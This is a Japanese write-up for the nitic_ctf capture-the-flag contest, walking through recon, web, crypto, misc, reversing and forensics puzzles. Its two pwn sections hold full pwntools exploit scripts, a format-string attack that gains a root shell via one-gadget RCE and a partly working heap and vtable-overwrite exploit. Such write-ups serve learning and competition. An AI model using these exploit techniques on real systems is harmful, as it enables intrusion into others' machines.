nitic_ctf write-up

[nitic\_ctf \- connpass](https://wakuwakuclub.connpass.com/event/182469/)

1600点で2位。Pwnの1問が解けなかった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/626f5573-c7f1-fa37-8102-1e16f437376d.png)

## Dangerous Twitter（Recon, 難易度1, 100点）

> フレキ君はパスワードの管理がなってないようです。
> どうやらフレキ君はあるサイトへのログインパスワードを漏らしてしまったみたい。
> フレキ君のTwitterアカウントからそのパスワードを特定しましょう。
> フラグはnitic_ctf{特定したパスワード}になります。
> https://twitter.com/FPC_COMMUNITY

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">デスク環境！ <a href="https://t.co/n51hOzO6re">pic.twitter.com/n51hOzO6re</a></p>&mdash; フレキシブル基板@課題消化中 (@FPC_COMMUNITY) <a href="https://twitter.com/FPC_COMMUNITY/status/1284684386361724928?ref_src=twsrc%5Etfw">July 19, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

パスワードをメモした紙が映り込んでいる。

`nitic_ctf{abaE33F5}`

## 8^2（Web, 難易度1, 100点）

```
data:image/jpeg;base64,/9j/4AAQSkZJRgABA...
```

dataスキーマなので、そのままブラウザのURLに貼り付ければ画像が見える。

`nitic_ctf{nemu_nemu_panti_shitai}`

## Villager Z（Pwn, 難易度4, 400点）

書式文字列攻撃。こんなコード。

```cpp
void vuln()
{
    char buf[256];
    puts("Hello. What your name?");
    read(0, buf, 256);
    printf(buf);
}
```

書式文字列攻撃なので、`%123$p`などとしてスタック上にある諸々の値を読み出し、リターンアドレスなどを書き換えれば良い……のだが、問題のプログラムは`printf`の直後に終了してしまう。PIEなので既知のアドレスは無く、リーク無しで1回の`printf`呼び出しで解くのは無理そう。

ということで、まずは1回目の攻撃後に`main`関数に戻すことを考える。これがまず難しい。問題サーバーと同じUbuntu 20.04で問題のプログラムを実行してみると、たまたまスタック上にスタックのリターンアドレスのちょっと上の値が乗っている。そこで、このアドレスの下位ビットをpartial overwriteで書き換えつつ、このアドレスを参照してリターンアドレスをpartial overwriteで書き換えて`main`関数に戻す。ついでに、諸々のアドレスをリークさせる。

`"%161c%35$hhn aaa...aaa\x28"`（文字列の長さは0xe9文字）でリターンアドレスのスタック上のアドレスの末尾が0x28ならば、リターンアドレスの末尾を161=0xa1で上書きして`main`関数に戻せる。`main`関数の先頭でないのは`movaps`対策。

あとは、リターンアドレスをOne gadget RCEに書き換えるだけかと思ったら、ここも難しい。libcが2.31で、2.31はOne gadget RCEの条件が厳しい。単に飛ばすだけだとどれもダメなので、`pop rsi; pop r15; ret;`に一旦飛ばして、`rsi`を0にする。このアドレスは元のリターンアドレスと下位2バイトしか変わらない。`rsi`用の値はたまたま0が入っていた。`r15`用の値は何でも良い。ということで、One gadget RCEと合わせて10バイトの書き換えなので、バッファサイズ256バイトで間に合う。

```attack.py
from pwn import *

elf = ELF("chall")
context.binary = elf

s = connect("123.216.69.60", 4448)
#s = connect("172.18.90.7", 7777)

payload = "%161c%35$hhn!%40$p!%41$p!%43$p!"
payload += "a"*(0xe8-len(payload))+"\x28"
s.sendafter("name?", payload)

t = s.recvuntil("name?")
t = t.split(b"!")
stack = int(t[1][2:], 16)
code = int(t[2][2:], 16) - 0x12b8
libc = int(t[3][2:], 16) - 0x270b3

print("stack: %x"%stack)
print("code: %x"%code)
print("libc: %x"%libc)

rce = libc + 0xe6ce9

"""
stack-0x08: xxxxxxxxxxxx1321
stack+0x00: 0000000000000000
stack+0x08: xxxxxxxxxxxxxxxx
stack+0x10: rce
"""

payload = b""
c = 0
for i in range(2):
  t = (((code+0x1321)>>(8*i)&0xff)-c)%256
  if t!=0:
    payload += ("%%%dc"%t).encode("utf-8")
  payload += ("%%%d$hhn"%(22+i)).encode("utf-8")
  c += t
for i in range(8):
  t = ((rce>>(8*i)&0xff)-c)%256
  if t!=0:
    payload += ("%%%dc"%t).encode("utf-8")
  payload += ("%%%d$hhn"%(24+i)).encode("utf-8")
  c += t
payload += b"a"*(0x80-len(payload))
for i in range(2):
  payload += pack(stack-0x08+i)
for i in range(8):
  payload += pack(stack+0x10+i)
s.send(payload)

s.interactive()
```

```
$ for i in $(seq 20); do python3 attack.py; done
[*] '/mnt/d/documents/ctf/nitic_ctf_1/Villager Z/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 123.216.69.60 on port 4448: Done
Traceback (most recent call last):
  File "attack.py", line 13, in <module>
 :
    raise EOFError
EOFError
[*] '/mnt/d/documents/ctf/nitic_ctf_1/Villager Z/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 123.216.69.60 on port 4448: Done
stack: 7fff74953730
code: 55708cb4f000
libc: 7fc260e5c000
[*] Switching to interactive mode

                                \x10                                                                                                                                                                                                                                \x00                                                                                                                                                                                                                                    \xb2                                                                  \x17                                                                                                                                                                                                      \x9e                                                                                                           %                                                                                                 h                                                                                                                                                                                            %                                                                                                                                2aaaaaaaaaaaaaaaa(7\x95t\xff\x7f$ ls -al
total 60
drwxr-xr-x   1 root root 4096 Jul 19 03:24 .
drwxr-xr-x   1 root root 4096 Jul 19 03:24 ..
-rwxr-xr-x   1 root root    0 Jul 19 03:24 .dockerenv
lrwxrwxrwx   1 root root    7 Jul  3 01:56 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 15 11:09 boot
drwxr-xr-x   5 root root  340 Jul 19 10:36 dev
 :
drwxr-xr-x   1 root root 4096 Jul  3 01:57 usr
drwxr-xr-x   1 root root 4096 Jul  3 02:00 var
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /home/ctf/flag
nitic_ctf{Oh_you_c4n_pr1ntf_everything}
$ exit
```

フラグ探しにちょっと手間取った。なぜユーザーがrootなのに/home/ctf/にフラグがあるんだ。

`nitic_ctf{Oh_you_c4n_pr1ntf_everything}`

## baby_compress（Pwn, 難易度4, 500点）

解けなかった。

C++のプログラムで脆弱性は色々ある。読み込み時に末尾のNUL文字を付けず、書き出しは`cout`に`char *`で渡しているから後の値が読めるとか、Use After Freeとか。このプログラムは圧縮と解凍をするけれど、一度解凍したものを再度解凍できてヒープバッファオーバフローとか。

```attack.py
from pwn import *

elf = ELF("chall")
context.binary = elf

context.log_level = "debug"

#s = connect("123.216.69.60", 4445)
s = connect("172.18.90.7", 7777)

def add(index, data):
  s.sendlineafter("> ", "1")
  s.sendlineafter("index: ", str(index))
  s.sendlineafter("Input content:", data)

def compress(index):
  s.sendlineafter("> ", "2")
  s.sendlineafter("index: ", str(index))

def decompress(index):
  s.sendlineafter("> ", "3")
  s.sendlineafter("index: ", str(index))

def clear(index):
  s.sendlineafter("> ", "4")
  s.sendlineafter("index: ", str(index))

def read(index):
  s.sendlineafter("> ", "5")
  s.sendlineafter("index: ", str(index))
  l = int(s.recvline().split()[1])
  s.recvuntil("content: ")
  return s.recvline()[:-1]

def exit():
  s.sendlineafter("> ", "6")

add(0, "a"*0x410)
add(1, "x")
libc = unpack(read(1).ljust(8, b"\0")) - 0x1ec078
print("libc:", hex(libc))

add(0, "a")
add(1, "a")
clear(0)
clear(1)
add(0, "x")
heap = unpack(read(0).ljust(8, b"\0")) - 0x12778
print("heap:", hex(heap))

data = pack(heap+0x127d8) + pack(libc+0xe6ce3)
data = b"c\x10"*3 + b"".join(data[i:i+1]+b"\x01" for i in range(len(data)))

add(0, "a")
add(0, data)
add(1, "dddd")
compress(0)
decompress(0)
decompress(0)

compress(1)

s.interactive()
```

これで、libcとheapのアドレスをリークして、解凍の脆弱性を突いてC++の関数テーブルを上書きして`libc+0xe6ce3`に飛ばせる。でも、One gadget RCEの条件をクリアできなくてダメ。libc 2.31厳しいな……。

他の人の解答。

- [NiticCTF Pwn Writeup \- PWD’s diary](https://spicyisland.hatenablog.com/entry/2020/07/19/200000)
- [Villager Zとbaby compressを解くやつ](https://gist.github.com/ptr-yudai/7604ba0064a870886fb775d11dc33cb8)

C++のクラスの関数テーブル使わないのか……。`compress`と`decompress`は何のために仮想関数になっているのだろう。

## prime_factorization（PPC, 難易度2, 200点）

> 合成数Cが与えられる。素因数分解してa_0^b_0 * a_1^b_1 * … * a_n^b_nの形にして、nitic_ctf{a_0_b_0_a_1_b_1…a_n_b_n}のがフラグとなる。この時a_iは素数、b_iは1以上の整数、aは昇順に並んでいる。
>
> 例えばC=48の時、48=2^4*3^1より、フラグはnitic_ctf{2_4_3_1}である。

問題文に素因数分解する整数が与えられていないからでかい整数かと思ったけど、そんなことはなかった。

```
$ factor 408410100000
408410100000: 2 2 2 2 2 3 3 3 3 3 5 5 5 5 5 7 7 7 7 7
```

`nitic_ctf{2_5_3_5_5_5_7_5}`

## shift_only（Crypto, 難易度2, 200点）

```encrypt_flag.py
from os import environ
flag = environ["FLAG"]
format = environ["FORMAT"]

shift_table = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
def encrypt(text: str, shift: int) -> str:
    assert  0 <= shift <= 9
    res = ""
    for c in text:
        res += shift_table[(shift_table.index(c)+shift)%len(shift_table)]
    return str(shift) + res
for shift in format:
    flag = encrypt(flag, int(shift))
with open("encrypted.flag", "w") as f:
    f.write(flag)
```

この`encrypt`は何回繰り返しても`len(shift_table)`通りの値しか出てこないやつだよね。

```solve.py
shift_table = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
encrypted = "6}bceijnob9h9303h6yg896h0g896h0g896h01b40g896hz"

n = len(shift_table)
for i in range(n):
  print("".join(shift_table[(shift_table.index(x)+i)%n] for x in encrypted))
```

```
>py solve.py
6}bceijnob9h9303h6yg896h0g896h0g896h01b40g896hz
7_cdfjkopc{i{414i7zh9{7i1h9{7i1h9{7i12c51h9{7i0
 :
ejmnptuyzmhshb}bse9rghes}rghes}rghes}_mc}rghes{
fknoquvz0nitic_ctf{shift_shift_shift_and_shift}
gloprvw01ojujdadug}tijguatijguatijguaboeatijgu_
 :
```

と思ったけど、問題のコードを良く見たらもっと簡単で、先頭に`str(shift)`が付いていた。

`nitic_ctf{shift_shift_shift_and_shift}`

## cha1n（Misc, 難易度2, 200点）

問題のファイルをパイプで繋ぐとフラグが出てくる。

```
$ ./c.sh | ./h.sh | ./a.sh | ./1.sh  | ./n.sh
nitic_ctf{cha1n_cha1n_cha1n_cha1n_cha1n_5combo}
```

`nitic_ctf{cha1n_cha1n_cha1n_cha1n_cha1n_5combo}`

## Fortran（Reversing, 難易度2, 200点）

Fortranで書かれた。ELFとEXEがある。手元のWSLではそのまま動いた。デフォルトでFortranの環境がインストールされるのか、何かのついでに入ったのか。

実行すると` nitictf{Fortran}`と書かれたfortran.flagというファイルができるが、これを投稿しても不正解。何か手違いがあって、ELFのほうは古かったらしい。

EXEのほうは手元では動かない。ライブラリを探すのが面倒なので、Ghidraに投げた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/5610bd2d-1f85-9cee-cc1b-df76cb164a08.png)

`nitic_ctf{No_FORTRAN_Yes_Fortran}`

## anim（Forensic, 難易度2, 200点）

PowerPoint。プレゼンすると背景がうにょーんと動いて、フラグが出てくる。

`nitic_ctf{ppppptx}`